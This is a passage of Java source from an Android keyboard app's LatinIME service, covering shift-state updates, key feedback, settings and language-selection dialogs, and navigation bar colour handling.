* the shift state of the keyboard and suggestions. This method looks at the finished
* inputTransaction to find out what is necessary and updates the state accordingly.
* @param inputTransaction The transaction that has been executed.
*/
private void updateStateAfterInputTransaction(final InputTransaction inputTransaction) {
switch (inputTransaction.getRequiredShiftUpdate()) {
case InputTransaction.SHIFT_UPDATE_LATER:
mHandler.postUpdateShiftState();
break;
case InputTransaction.SHIFT_UPDATE_NOW:
mKeyboardSwitcher.requestUpdatingShiftState(getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
break;
default: // SHIFT_NO_UPDATE
}
}
private void hapticAndAudioFeedback(final int code, final int repeatCount) {
final MainKeyboardView keyboardView = mKeyboardSwitcher.getMainKeyboardView();
if (keyboardView != null && keyboardView.isInDraggingFinger()) {
// No need to feedback while finger is dragging.
return;
}
if (repeatCount > 0) {
if (code == Constants.CODE_DELETE && !mInputLogic.mConnection.canDeleteCharacters()) {
// No need to feedback when repeat delete key will have no effect.
return;
}
// TODO: Use event time that the last feedback has been generated instead of relying on
// a repeat count to thin out feedback.
if (repeatCount % PERIOD_FOR_AUDIO_AND_HAPTIC_FEEDBACK_IN_KEY_REPEAT == 0) {
return;
}
}
final AudioAndHapticFeedbackManager feedbackManager =
AudioAndHapticFeedbackManager.getInstance();
if (repeatCount == 0) {
// TODO: Reconsider how to perform haptic feedback when repeating key.
feedbackManager.performHapticFeedback(keyboardView);
}
feedbackManager.performAudioFeedback(code);
}
// Callback of the {@link KeyboardActionListener}. This is called when a key is depressed;
// release matching call is {@link #onReleaseKey(int,boolean)} below.
@Override
public void onPressKey(final int primaryCode, final int repeatCount,
final boolean isSinglePointer) {
mKeyboardSwitcher.onPressKey(primaryCode, isSinglePointer, getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
hapticAndAudioFeedback(primaryCode, repeatCount);
}
// Callback of the {@link KeyboardActionListener}. This is called when a key is released;
// press matching call is {@link #onPressKey(int,int,boolean)} above.
@Override
public void onReleaseKey(final int primaryCode, final boolean withSliding) {
mKeyboardSwitcher.onReleaseKey(primaryCode, withSliding, getCurrentAutoCapsState(),
getCurrentRecapitalizeState());
}
// receive ringer mode change.
private final BroadcastReceiver mRingerModeChangeReceiver = new BroadcastReceiver() {
@Override
public void onReceive(final Context context, final Intent intent) {
final String action = intent.getAction();
if (action.equals(AudioManager.RINGER_MODE_CHANGED_ACTION)) {
AudioAndHapticFeedbackManager.getInstance().onRingerModeChanged();
}
}
};
void launchSettings() {
requestHideSelf(0);
final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
if (mainKeyboardView != null) {
mainKeyboardView.closing();
}
final Intent intent = new Intent();
intent.setClass(LatinIME.this, SettingsActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
startActivity(intent);
}
private void showSubtypeSelectorAndSettings() {
final CharSequence title = getString(R.string.english_ime_input_options);
// TODO: Should use new string "Select active input modes".
final CharSequence languageSelectionTitle = getString(R.string.language_selection_title);
final CharSequence[] items = new CharSequence[] {
languageSelectionTitle,
getString(ApplicationUtils.getActivityTitleResId(this, SettingsActivity.class))
};
final String imeId = mRichImm.getInputMethodIdOfThisIme();
final OnClickListener listener = new OnClickListener() {
@Override
public void onClick(DialogInterface di, int position) {
di.dismiss();
switch (position) {
case 0:
final Intent intent = IntentUtils.getInputLanguageSelectionIntent(
imeId,
Intent.FLAG_ACTIVITY_NEW_TASK
| Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED
| Intent.FLAG_ACTIVITY_CLEAR_TOP);
intent.putExtra(Intent.EXTRA_TITLE, languageSelectionTitle);
startActivity(intent);
break;
case 1:
launchSettings();
break;
}
}
};
final AlertDialog.Builder builder = new AlertDialog.Builder(
DialogUtils.getPlatformDialogThemeContext(this));
builder.setItems(items, listener).setTitle(title);
final AlertDialog dialog = builder.create();
dialog.setCancelable(true /* cancelable */);
dialog.setCanceledOnTouchOutside(true /* cancelable */);
showOptionDialog(dialog);
}
// TODO: Move this method out of {@link LatinIME}.
private void showOptionDialog(final AlertDialog dialog) {
final IBinder windowToken = mKeyboardSwitcher.getMainKeyboardView().getWindowToken();
if (windowToken == null) {
return;
}
final Window window = dialog.getWindow();
final WindowManager.LayoutParams lp = window.getAttributes();
lp.token = windowToken;
lp.type = WindowManager.LayoutParams.TYPE_APPLICATION_ATTACHED_DIALOG;
window.setAttributes(lp);
window.addFlags(WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM);
mOptionsDialog = dialog;
dialog.show();
}
public void debugDumpStateAndCrashWithException(final String context) {
final SettingsValues settingsValues = mSettings.getCurrent();
final StringBuilder s = new StringBuilder(settingsValues.toString());
s.append("\nAttributes : ").append(settingsValues.mInputAttributes)
.append("\nContext : ").append(context);
throw new RuntimeException(s.toString());
}
@Override
protected void dump(final FileDescriptor fd, final PrintWriter fout, final String[] args) {
super.dump(fd, fout, args);
final Printer p = new PrintWriterPrinter(fout);
p.println("LatinIME state :");
p.println(" VersionCode = " + ApplicationUtils.getVersionCode(this));
p.println(" VersionName = " + ApplicationUtils.getVersionName(this));
final Keyboard keyboard = mKeyboardSwitcher.getKeyboard();
final int keyboardMode = keyboard != null ? keyboard.mId.mMode : -1;
p.println(" Keyboard mode = " + keyboardMode);
}
public boolean shouldSwitchToOtherInputMethods() {
// TODO: Revisit here to reorganize the settings. Probably we can/should use different
// strategy once the implementation of
// {@link InputMethodManager#shouldOfferSwitchingToNextInputMethod} is defined well.
final IBinder token = getWindow().getWindow().getAttributes().token;
if (token == null) {
return false;
}
final boolean overrideValue = mSettings.getCurrent().isLanguageSwitchKeyEnabled();
return mRichImm.shouldOfferSwitchingToNextInputMethod(token) && overrideValue;
}
public boolean shouldShowLanguageSwitchKey() {
// TODO: Revisit here to reorganize the settings. Probably we can/should use different
// strategy once the implementation of
// {@link InputMethodManager#shouldOfferSwitchingToNextInputMethod} is defined well.
final IBinder token = getWindow().getWindow().getAttributes().token;
if (token == null) {
return false;
}
final boolean overrideValue = mSettings.getCurrent().isLanguageSwitchKeyEnabled();
return mRichImm.shouldOfferSwitchingToNextInputMethod(token) && overrideValue;
}
private void setNavigationBarColor() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P && mSettings.getCurrent().mUseMatchingNavbarColor) {
final SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(this);
final int keyboardColor = Settings.readKeyboardColor(prefs, this);
final Window window = getWindow().getWindow();
if (window == null) {
return;
}
mOriginalNavBarColor = window.getNavigationBarColor();
window.setNavigationBarColor(keyboardColor);
final View view = window.getDecorView();
mOriginalNavBarFlags = view.getSystemUiVisibility();
if (ResourceUtils.isBrightColor(keyboardColor)) {
view.setSystemUiVisibility(mOriginalNavBarFlags | View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
} else {
view.setSystemUiVisibility(mOriginalNavBarFlags & ~View.SYSTEM_UI_FLAG_LIGHT_NAVIGATION_BAR);
}
}
}
private void clearNavigationBarColor() {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P && mSettings.getCurrent().mUseMatchingNavbarColor) {
final Window window = getWindow().getWindow();
if (window == null) {
return;
}
window.setNavigationBarColor(mOriginalNavBarColor);
final View view = window.getDecorView();
view.setSystemUiVisibility(mOriginalNavBarFlags);
}
}
}
